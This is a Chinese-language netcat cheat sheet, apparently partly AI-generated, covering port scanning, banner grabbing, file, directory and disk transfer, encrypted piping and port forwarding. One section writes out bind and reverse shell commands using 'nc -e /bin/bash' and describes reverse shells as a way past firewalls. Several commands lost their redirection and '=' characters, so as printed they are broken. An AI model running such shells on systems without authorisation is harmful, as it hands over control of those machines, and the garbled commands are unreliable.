Netcat 实战速查指南Linux/Unix 网络瑞士军刀核心用法【免费下载链接】reference面向开发者的技术速查清单Cheat Sheets集合整理常见技术、工具与开发流程帮助快速查阅关键信息提高开发效率。项目地址: https://gitcode.com/GitHub_Trending/referen/referenceNetcat常简写为nc是 Linux/Unix 平台上一款轻量却功能强大的网络工具既能作为客户端连接任意主机端口也能作为服务端监听入站连接被广泛用于端口探测、文件传输、远程 Shell 与网络调试等场景。本指南以 docs/netcat.md 为骨架完整梳理nc的常用选项、典型命令与实战方案并结合本仓库中 openssl 加密传输、tar 目录归档 等关联速查内容做纵深补充读完即可在真实环境中完成端口扫描、收发文件、搭建简易聊天与远程 Shell 等任务。快速入门连接与监听nc的基本语法是nc [options] [host] [port]一行命令即可建立到任意主机的 TCP 连接而通过-l进入监听模式后本机就变成了一个可被连接的简易服务端。连接到位于任何地方的主机$ nc [options] [host] [port]监听传入连接$ nc -lp port [host] [port]从源码结构看命令行为典型的客户端/服务端二元模型客户端模式发起连接、收发数据后即退出监听模式则常与-p指定本地端口、-k保持持续监听组合用于等待入站连接这也是后续所有传输类场景的共同基础。常用选项速查表以下表格继承自 docs/netcat.md覆盖了端口扫描、监听、超时、协议选择等高频参数是快速查阅的首选入口| 选项 | 示例 | 说明 | | :- | :- | :- | |-h|nc -h| 帮助 | |-z|nc -z 192.168.1.9 1-100| 端口扫描主机或IP地址 | |-v|nc -zv 192.168.1.9 1-100| 提供详细输出 | |-n|nc -zn 192.168.1.9 1-100| 通过禁用DNS解析进行快速扫描 | |-l|nc -lp 8000|TCP侦听模式用于入站连接 | |-w|nc -w 180 192.168.1.9 8000| 定义超时值 | |-k|nc -kl 8000| 断线后继续收听 | |-u|nc -u 192.168.1.9 8000| 使用UDP而不是TCP| |-q|nc -q 1 192.168.1.9 8000| 客户在EOF后熬夜 | |-4|nc -4 -l 8000| 仅限IPv4| |-6|nc -6 -l 8000| 仅限IPv6|几个关键选项的适用场景说明-z只探测端口是否开放不发送实际数据配合-v可输出每个端口的扫描结果是快速端口检测的核心参数。-n跳过 DNS 反向解析减少扫描等待时间适合在内网 IP 段做批量探测。-w指定超时秒数避免连接或等待数据时长时间挂起。-k保持监听模式连接断开后继续等待下一个客户端适合需要多次接入的服务场景。-u切换为 UDP 协议默认是 TCP。-q客户端在收到EOF文件结束符后继续等待指定秒数常用于管道传输文件时确保数据完全送达。实战一端口扫描与 Banner 抓取端口扫描扫描21到25之间的端口$ nc -zvn 192.168.1.1 21-25扫描端口22、3306和8080指定多个端口$ nc -zvn 192.168.1.1 22 3306 8080组合-z零 I/O 探测、-v详细输出与-n禁用 DNS后nc可以快速报告目标主机上哪些端口处于开放状态适合作为网络连通性诊断的第一手工具。Banner 抓取直接连接 HTTP 服务端口并发起 HTTP 请求可以读取服务端返回的响应头与页面内容用于识别服务类型与版本信息$ nc website.com 80 GET index.html HTTP/1.1 HEAD / HTTP/1.1或者$ echo | nc -zv -wl 192.168.1.1 801-805第一条命令手动输入 HTTP 请求行即可观察服务器响应第二条通过管道向一段端口范围注入空数据并开启监听输出适合快速探测一批端口上的服务 banner。实战二聊天客户端-服务器nc最直观的应用是两台机器之间建立实时文本会话。在一端监听另一端连接即可互发消息数据通过 TCP 实时传递无需安装任何 IM 软件。服务器 Server192.168.1.9$ nc -lv 8000客户端 Client$ nc 192.168.1.9 8000实战三文件传输下载文件服务器 → 客户端服务器端将本地文件内容重定向进连接客户端将收到的数据落盘即可完成文件下发。假设想将文件file.txt从服务器 A 传输到客户端 B服务器 Server192.168.1.9$ nc -lv 8000 file.txt客户端 Client$ nc -nv 192.168.1.9 8000 file.txt上传文件客户端 → 服务器将重定向方向对调就实现了反向的文件收集假设想将文件file.txt从客户端 B 传输到服务器 A服务器 Server192.168.1.9$ nc -lv 8000 file.txt客户端 Client$ nc 192.168.1.9 8000 file.txt两个方向的核心思路一致nc只负责搬运字节流配合 shell 的、重定向即可实现任意方向的单文件收发。目录传输单个文件可用重定向整个目录则需要先经tar归档为字节流再传输。接收端用tar -xvf -从标准输入解包实现整目录迁移。假设想通过网络将目录从 A 传输到 B服务器 Server192.168.1.9$ tar -cvf - dir_name | nc -l 8000客户端 Client$ nc -n 192.168.1.9 8000 | tar -xvf -其中tar -cvf -的-表示将归档输出到标准输出而非写入文件这与 docs/tar.md 中-c建立新归档、-v显示过程、-f指定归档文件的语义一致接收端tar -xvf -则对应其-x解压归档参数。两边通过管道与nc对接数据不落中间文件特别适合在无共享存储的机器间快速搬运目录。加密传输nc本身不提供加密但可以在传输链路两端串联openssl命令先加密再发送、先解密再落盘从而在公网等不可信链路上保护数据。相关用法可对照 docs/openssl.md 中关于enc对称加解密的能力说明。服务器 Server192.168.1.9$ nc -l 8000 | openssl enc -d -des3 -pass pass:password file.txt客户端 Client$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000在通过网络传输之前加密数据。这里-des3指定 3DES 对称算法-pass pass:password以命令行方式传入口令两端必须一致客户端加密、服务器解密中间经过网络的全部是密文。磁盘克隆将nc与dd组合可以把整块磁盘的原始字节流通过网络搬移到另一台机器实现系统的快速克隆。假设你的系统盘是/dev/sda服务器 Server192.168.1.9$ dd if/dev/sda | nc -l 8000客户端 Client$ nc -n 192.168.1.9 8000 | dd of/dev/sda克隆 Linux PC 非常简单源端dd if/dev/sda逐块读出磁盘数据经nc流出目标端dd of/dev/sda将收到的字节流原样写入目标盘。此操作会覆盖目标盘全部数据执行前务必确认盘符正确。视频流nc也可以充当简易媒体管道将视频文件流式推给播放器实时播放服务器 Server192.168.1.9$ cat video.avi | nc -l 8000客户端 Client$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -使用 netcat 流式传输视频播放器从标准输入-读取数据-cache 3000设置 3000KB 的缓存以平滑网络抖动-vo x11指定 X11 视频输出。实战四远程 Shell 与反向 Shell我们已经使用telnet和ssh使用远程 Shell但是如果它们没有安装并且我们没有安装它们的权限那么我们也可以使用netcat创建远程 Shell。远程 Shell正向连接服务器端用-e参数把入站连接直接绑定到/bin/bash客户端连入后即获得一个交互式 Shell服务器 Server192.168.1.9$ nc -lv 8000 -e /bin/bash客户端 Client$ nc 192.168.1.9 8000反向 Shell反向 Shell 通常用于绕过防火墙限制例如阻止入站连接由被控端主动向外连接把 Shell 交给监听方从而穿透只允许出站流量的网络策略。服务器 Server192.168.1.9——监听端$ nc -lv 8000客户端 Client——被控端主动回连$ nc 192.168.1.9 8000 -v -e /bin/bash注意-e执行程序是 OpenBSD 版 netcat 的参数传统 GNU 版如部分发行版自带的nc-traditional并不支持使用前可通过nc -h确认当前版本的选项。实战五代理与端口转发nc还能充当简易的本地端口转发代理监听一个端口把收到的流量管道式转交给另一个目标端口从而创建从一个本地端口到另一个本地端口的隧道$ nc -lp 8001 -c nc 127.0.0.1 8000或者$ nc -l 8001 | nc 127.0.0.1 8000第一种写法用-c指定连接建立后执行的转发命令第二种通过管道将监听端收到的数据直接喂给第二个nc二者殊途同归常用于本地服务端口的临时暴露或流量中继调试。-c同样是 OpenBSD 版 netcat 的参数跨版本使用时需先确认支持情况。安全注意事项明文传输除显式叠加openssl加密外nc的所有数据含远程 Shell 会话均为明文切勿在公网传输敏感信息。高危操作远程 Shell 会将被控端完整控制权交给对方仅应在受控测试环境使用磁盘克隆会覆盖目标盘全部数据执行前务必二次确认盘符。权限与合法性端口扫描、反向连接等手段可能违反目标网络的使用政策或当地法律法规请在获得授权的前提下进行测试。小结从一行nc [host] [port]到组合tar、openssl、dd实现目录迁移、加密传输与磁盘克隆Netcat 的价值在于它把网络 I/O 抽象成了标准字节流能够与任意 Unix 工具通过管道自由拼接。将本文的选项表与实战命令对照使用即可快速完成端口诊断、文件收发与简易服务搭建更完整的速查入口可回到 docs/netcat.md并配合仓库中的 openssl 加密速查 与 tar 归档速查 按需查阅。【免费下载链接】reference面向开发者的技术速查清单Cheat Sheets集合整理常见技术、工具与开发流程帮助快速查阅关键信息提高开发效率。项目地址: https://gitcode.com/GitHub_Trending/referen/reference创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考